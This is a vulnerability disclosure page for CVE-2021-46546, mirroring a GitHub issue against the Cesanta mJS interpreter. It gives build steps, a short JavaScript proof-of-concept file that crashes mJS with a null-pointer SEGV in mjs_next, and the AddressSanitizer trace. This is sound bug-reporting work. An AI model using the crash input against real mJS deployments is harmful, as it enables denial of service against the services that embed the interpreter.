Headline

CVE-2021-46546: SEGV src/mjs_object.c:255 in mjs_next · Issue #213 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_next at src/mjs_object.c. This vulnerability can lead to a Denial of Service (DoS).

2 years ago

CVE

Open in Source

#vulnerability #ubuntu #linux #dos #js #git

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Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

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@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

for (let y in { aa: 1, ba: 2, ca: 3 }) {
    Object.create.apply({}, [Object] 1)
}

Execution steps & Output

$ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==35880==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x560c3e80fde0 bp 0xfffc60e0000000a8 sp 0x7ffdb0ad02e0 T0) ==35880==The signal is caused by a READ memory access. ==35880==Hint: address points to the zero page. #0 0x560c3e80fddf in mjs_next src/mjs_object.c:255 #1 0x560c3e7bafed in mjs_execute src/mjs_exec.c:760 #2 0x560c3e7c6a05 in mjs_exec_internal src/mjs_exec.c:1073 #3 0x560c3e7c6a05 in mjs_exec_file src/mjs_exec.c:1096 #4 0x560c3e783909 in main src/mjs_main.c:47 #5 0x7fd9390adb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #6 0x560c3e784449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/mjs_object.c:255 in mjs_next ==35880==ABORTING

1 participant

@hope-fly